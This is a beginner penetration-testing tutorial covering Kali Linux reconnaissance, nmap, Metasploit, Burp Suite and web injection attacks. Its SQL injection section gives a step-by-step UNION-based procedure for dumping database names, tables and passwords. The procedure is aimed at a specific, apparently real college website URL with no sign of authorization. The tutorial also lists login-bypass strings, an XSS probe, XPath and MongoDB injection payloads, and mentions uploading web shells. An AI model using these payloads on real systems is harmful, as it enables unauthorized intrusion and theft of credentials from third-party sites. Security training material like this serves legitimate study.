PENETRATION TESTING USING KALI LINUX OS

Kali Linux Installation in Ubuntu

Scanning the Target

Scanning the target is the first phase of Penetration testing. There are some targets which any penetration tester performs before conducting any penetration testing. There are some techniques which we can use in order to find an important information about our target.

- **Whois**
- **Reverse IP Lookup**
- **Sub Domain Enumeration**
- **OS Detection**
- **Builtwith.com**

Whois

By checking the whois information about our website we come to know about the registrar information, the registrant name, their domain name server along with its IP address. So once we perform the whois check then next thing we can perform is Reverse IP Lookup. Enter URL **whois.sc**

Reverse IP Lookup

Reverse IP Lookup is actually finding that how many another websites are hosted on the same server of our target machine. Reverse IP Lookup also helps us check if the website is hosted on the dedicated server or on shared server. For getting all these information go to **yougetsignal.com** and select ***Reverse IP Domain Check.***

Sub Domain Enumeration

Sub Domain Enumeration is actually a process of finding out different sub domains of our target. For instance, our target is google.com and what are the sub domains associated with google.com because some times there are vulnerabilities which are not present in the parent domain but present in sub domain.

OS Detection

OS Detection is important because if the penetration tester knows on which OS a particular OS is running then that penetration tester can actually make its exploit to that OS.

Builtwith.com

Builtwith.com is helpful when you don't know the platform of the website you are conducting a penetration testing. For instance, whether the website is running on wordpress or any Content Management System, ASP.net or PHP, what kind of domain name services it is using, what knd of mail services it is using. If you want to collect all these details then you can go to this website builtwith.com and here you can get the details of all the information which you need in order to complete your scanning phase.

NMAP:

NMAP is free and open source software used for scanning and auditing the network.

Features:

- It will find open ports.
- It will find running services and their version numbers running on particular port.
- It also search for operating system and is available for both Linux and Windows.

- Can be used for aggressive scan to get you more detailed information about your target including OS, Websites Metadata, internal files, dis-allowed directories and lot more.

To get the details of a target, enter following command on kali linux terminal
nmap website_name/ipaddress
eg. nmap modernindianbabynames.com

Metasploit Overview:

- Metasploit is a tool used for testing and exploiting vulnerabilities in network.
- Can be used for -
- Penetration Testing
- Exploit Research
- Open Source
- Written in Ruby
- Contains more than 1200 exploits, 330+ payloads and 30+ encoders

Useful terms in Metasploit

- **Vulnerability:** Weakness and Flaw in the system which let attacker to compromise the system.
- **Exploit:** Code used to exploit the vulnerability or code used to compromise the system.
- **Payload:** It defines activities which one can perform after exploiting the system.

Wireshark Overview:

- Wireshark is one of the mostly used network protocol analyzer.
- It captures the internet packets which are going in and out from your network.

Injection Attacks

- Attacks which are performed on both client and server side.
- Interactivity is required.
- Input Output model.

Example -

- Cross Site Scripting
- HTML Injection
- Command Injection
- SQL Injection and so on

Cross Site Scripting (XSS)

If the user provided input is actually being executed by the web application which means that web application is XSS vulnerable. So the user provides Javascript code instead of providing a legitimate text and if that Javascript code is being executed by the web application which means that web application is XSS vulnerable. So XSS vulnerability can also be used in order to steal user cookies, session cookies and even it can also lead to CSRF attack. XSS is of two types

- Reflected XSS / Non-persistent XSS
- Stored XSS / Persistent XSS

Reflected XSS / Non-persistent XSS

Reflected XSS is also known as Non-persistent XSS because here user input is not stored in database which means if the user input is not stored in database then the response of the web application is only shown to the user who is actually injecting that Javascript which means if we are injecting something in search bar and our javascript is being executed by that web application then the response of that javascript is only shown to us not anyone else because our input is not stored in database.

Stored XSS / Persistent XSS

Stored XSS is also known as Persistent XSS because here the user input is stored in database and once the user input is stored in database.

For example, there is one comment section and we comment out a Javascript query or in place of comment we insert a javascript query and click on submit and our comment is submitted and now if anyone visits that page then the javascript is also being executed on that user which means the impact of stored XSS is much more than the reflected XSS and it can also lead to CSRF attack.

Summary

- XSS is a client side injection attack.
- Often found in input receiving areas like search box, feedback, forms,etc. Which means it can modify the page to make it look different or behave differently.
- Javascript is inserted from client side.
- Can be used for stealing cookies, session ids.
- It can even send you to another website taking data with you.

What’s happening?

- Let’s first look at how HTML works.
- HTML is a tag based language, so when we open a tag such as <b> for bold, all text after that tag becomes bold until a matching </b> closing tag is found.

- But what might happen if we were to only put a <b> tag in a search box that doesn’t strip the tag?
- Let’s think if I placed a bold tag in this slide <b> **then everything in the rest of this slide would be bold until a closing bold is found.**
- **The scary part of the XSS comes when we use the <script> tag, informing the browser anything between the script tags is Javascript.**

Topics

- Non Persistent Scripts (Reflected XSS)
- Persistent Scripts
- Malicious Attacks
- Avoiding Basic Filters
- Avoiding Advanced Filters
- Analyzing Twitters Tweet Deck XSS Script

Non Persistent Scripts Example

- <font color=”blue”> place this html tag inside input field and check whether resultant text appears in blue color.
- <script>alert(“XSS”)</script> place this script tag inside input field and check whether alert dialog appears.

Persistent Scripts Example

- Here scripts are stored in a databases.

HTML Injection

HTML is also called as redering attack. Here instead of injecting Javascript we try to inject HTML code and if that web application is being rendered according to our injected HTML code which means that web application is HTML vulnerable. HTML injection is of two types.

- Reflected HTML
- Stored HTML

Reflected HTML

Here user input is not stored in the database only the user who is injecting user input can only be seen to the user who is injecting HTML code.

Stored HTML

Here user input is stored in the database.

XXE Injection

XXE is also called as XML External Entity attack against the web application which parses the XML data provided by the user. If a web application is parsing the XML data provided by the user then what an attacker can do is in order to exploit or abuse XML parsing functionality an attacker can try to include server internal files and if that XML parser is poorly configured then that XML parser will end up showing us the server internal files. So there is one keyword called System which we can use inside our XML tag in order to access a particular resource on a remote server. So if we are successfully able to include server internal files and if that XML parser parse that XML file or prses our XML data and shows us the server files which means that web application is XXE vulnerable.

Summary

- Attack against application which parsers XML data.
- An attacker can abuse this parsing by reading system internal files using XML.
- System keyword is used to access particular resource on any remote server.

X Path Injection

Xpath injections are similar to SQL injections. In SQL injection user supplied input becomes the path of SQL query whereas in Xpath injection user supplied input becomes the path of Xpath query. If the user supplies malformed input then that can result in access to restricted files contents.

Summary

- Similar to SQL Injection.
- User supplied input forms a X Path query.
- Malformed input results in access to restricted files.

Xpath injection payload

- x' AND 1=0] | //*["1"="1

SQL Injection

In this section we will learn how an attacker can inject its own sql queries in order to dump the entire database.

- Attacker try to inject SQL query as a input.
- Query is being executed in a database.
- Data can be retrieved in the form of error or depend upon the type of SQL injection.
- Attacker can insert, update and delete the data.

SQL injection attack Query
syntax:
1) ?id=1 union select 1,group_concat(column_name i.e. email_id),group_concat(column_name i.e. password) from information_schema.columns where table_name = "emails" --+

2) ?id=1 union select 1,group_concat(cloumn1),group_concat(column2) from tablename --+

3) ?id=1 union select 1,group_concat(column1),group_concat(column2) from tablename -- -

The above three examples are query string try paste this string in URL making some modifications like column names and table on login page and resultat output should show username and password.

Steps to be followed for SQL injection:

- We have to find application logic.
- We have to break the SQL query through fuzzing. Fuzzing means giving weird input to the application.
- Remove the error or to patch sql query.
- Find out how many number of columns are being used by this application.

- We have to find that how many columns are being used by this application for our query.

Sql query string
1) **?id='1'**

2) Now the next thing we have to do is we have to comment out queries. In order to comment out queries
?id='1'   AND 1=0   --+
as the above condition **AND 1=0** is not true so it will give error
and if we change it to **AND 1=1**
?id='1'   AND 1=1   --+
it will show user details

3) Now to find out correct number of columns use **order by** clause as below
?id='1'   order by 7   --+

in the **order by number**, keep on incrementing or decrementing the number until you get out of bounds error for number of columns.

4) To get all columns use following query

?id='1'   union select 1,2,3,4,5,6,7,8 (i.e. upto available columns)   --+

5) To find out how many columns are being used by the application, enter random numbers to id like

?id='3243'   union select 1,2,3,4,5,6,7,8(upto available columns)   --+

6) Now we will find the database name by giving database() instead of 1st column number. So you will find the database name

?id='3'   union select database(),user(),@@datadir   --+

here,

database() gives name of the database being used

user() gives the username or email being used

@@datadir gives the path of the mysql database

7) To get the name of the table being used, use following query

select table_name from information_schema.tables where table_schema="db_name"

so the entire query will be like

?id='any number'   union select table_name,2,3,4 from information_schema.tables where table_schema="db_name"   --+

8) After gettting database and table names, we can get the list of all emails

select column_name from information_schema.columns where table_name="table_name"

so the entire query will be like

?id='any number'   union select group_concat(email),2,3,4 from information_schema.tables where table_name="table_name"   --+

this will list all users' emails associated with this database.

Login Page SQL Injection

An attacker can also try to inject its own special crafted sql queries inside the login pages in order to bypass the login pages because what happens sosmetimes login pages are also vulnerable to SQL injections. If the login pages are vulnerable to SQL injections then an attacker can easily bypass the authentication mechanism.
When the username and password are entered and validated for authorization then the following sql query is executed.

SELECT * FROM tablename WHERE username=’value’ and password=’value’;

enter the following command in username and password to bypass login
admin’ or’1’=’1

If you find an URL having ?id=num appended to it then we can perform SQL injection on it.
e.g. http://www.universalcollege.net/news.php?id=1

use order by num to find total number of columns in table
http://www.universalcollege.net/news.php?id=1 order by 50
it will give you error if value exceeds so keep on increasing or decreasing the value until error is removed and you manage to find correct total number of columns.

After finding total columns then you can use query like this
http://www.universalcollege.net/news.php?id=1 union select 1,2,3,4,5(upto no. Of columns)
after hitting this query it displays column number on website and you can use built-in functions in place of column number in URL in order to get info.

if it does not show any information on website then add – (hyphen or minus) before id number like this
http://www.universalcollege.net/news.php?id=-1 union select 1,2,3,4,5(upto no. Of columns)

1) To get the name of the database , use database() function inside group_concat() function

group_concat(database())

http://www.universalcollege.net/news.php?id=-1 union select 1, 2, group_concat(database()), 4, 5

The above query will give you db name

2) To get the name of tables present in database, use

http://www.universalcollege.net/news.php?id=-1 union select 1,2,group_concat(table_name),4,5,6 from information_schema.tables where table_schema=database()

3) To get the columns present in a particular table, use

http://www.universalcollege.net/news.php?id=-1 union select 1,2,group_concat(column_name),4,5,6 from information_schema.columns where table_name=”name of table”

the above query will provide the column names

e.g. name, password, pswd etc.

4) To get the data present in table, use

http://www.universalcollege.net/news.php?id=-1 union select 1,2,group_concat(name,0x3a,password,0x3a,pswd),4,5,6 from name_of_table

the above query will provide login details of particular id=1

SQL Injection payloads

- ‘ or ‘1’ = ‘1’ -- - (put in username field only)
- ‘ or ‘1’ = ‘1’ # (put in username field only)
- ‘ or ‘1’ = ‘1’ /*

- ‘ or ‘1’ = ‘1’ %00
- ‘ or ‘1’ = ‘1’ %16
- ' or 1=1--
- ' or 1=1#
- ' or 1=1/*
- ') or '1'='1--
- ') or ('1'='1--

MongoDB Injections

MongoDB is one of the most popular Non-Relational database. **Non-relational database** means it does not store data in the form of rows and columns. But interesting fact is that mongodb can be exploited similar to SQL injections and xpath injections but in order to exploit mongodb database we have to do a little modification in special characters.

admin’ || ‘1’ == ‘1

so mongodb uses special characters instead of words

Unvalidated Redirects

- Redirects takes user from one webpage to another.
- Sometimes it is necessary to redirect user to some another page such as login page.
- Often found on ecommerce websites where redirections occurs while the time of payment.
- Unvalidated redirects takes user to different website.

File Upload Vulnerability

File upload is one of the common features which is found in a lot of web application. So to file upload feature we can upload any particular file on a remote web server. So as a penetration tester or attacker we can try to upload something malicious on a remote server and these malicious scripts are nothing but a web shells. So if we are successfully able to upload our web shell on a remote server then we can remotely access that server.

summary

- Common feature
- Attacker can upload malicious scripts
- Web shells
- Remote access

Cross Site Request Forgery (CSRF)

Cross Site Request Forgery is also referred as CSRF.
e.g. there is one user who is logged in on a particular website and an attacker sends a malicious link to that user of a malicious website and if that user clicks on that link and open that malicious website then that malicious website will make a request to that website which the user is logged in on behalf of that user.

summary

- Malicious website makes a request to a malicious website on which user is authenticated.
- Request is triggered from malicious website on the behalf of user.
- Cookies and Session’s id are automatically sent by browser.

Burp Suite

It is one of the most popular security testing tool. We can use burp suite in order to intercept our HTTP request which is going out through our web browser. Burp suite contains different tabs and each tab contains different functions. It contains tabs like proxy, intruder, scanner, decoder etc. Proxy tab is used for intercepting our request and its a proxy function. Intruder tab contains different attacks which can be performed on a remote website like brute force atack etc. Scanner tab is used for scanning a particular website and its vulnerability. Decoder tab contains different functions which we can use in order to decode a particular string like URL decode etc. Burp suite is available in two versions Pro and Free.

Proxy Tab

Proxy tab intercepts all the request which are sent by the browser. Proxy tab contains sub tabs like intercept, HTTP history, WebSocket history, Options.
With the help of intercept tab we can check if intercept is on or off. If intercept is on which means we will intercept or request and if intercept is off then our request will not go through the burpsuite it wil just go throught the web server.

HTTP Request Tab

It keeps all the records of requests which are intercepted by burpsuite.

Options Tab

In options tab, we can configure our burpsuite that on which port our burpsuite should listen all the requests.

Note: Burpsuit by default intercepts http requests only. To intercept https requests, you need to install CA certificate.

- Steps to install CA Certificate for https requests:

1. First open firfox browser
2. go to Preferences
3. go to Settings
4. select Manual proxy configuration and click OK
5. Open and start BurpSuite
6. Open next tab and enter http://burp
7. Click on CA Certificate on right side
8. Click on save

9. Now open downloaded certificate and click import
10. hit any https website
11. Open Burpsuite and go to proxy tab
12. keep clicking on Forward button until it is disabled
13. You will see the https request intercepted by burpsuite

Burpsuite sitemap

In this section, we will see how we can create sitemap using burpsuite.

Target

Target is the first tab in burpsuite. This tab contains two sub tabs and they are sitemap and scope.

Sitemap tab can be used to create professional sitemap whereas in scope tab we can define that what are some urls or what are some fields or entry points in our application which we want to include in our sitemap or which we want to include in our scope and which we don't want to include in our scope.

Burpsuite Scanner

Burpsuite scanner tab works in **burpsuite professional** and not in **burpsuite free edition**. The speciality of burpsuite scanner tab is that it scans the web application and finds out all the security related issues automatically.

Burpsuite Repeater

Repeater is a tab present in Burpsuite. This tab is used to send multiple http requests.

Steps:

1. Open firefox
2. go to Presferences
3. Go to settings
4. select Manual proxy configuration
5. Click on OK

6. Open Burpsuite
7. On firefox hit http request
8. In burpsuite proxy tab, press forward button
9. click action button and send request to Repeater tab

Burpsuite Decoder

With the help of burpsuite decoder, we can encode and decode strings into various formats like Base64, URL, Hex, Binary, MD5 Hash, SHA 256 Hash.

Issue: Postswigger CA Certificate import problem in kali linux firefox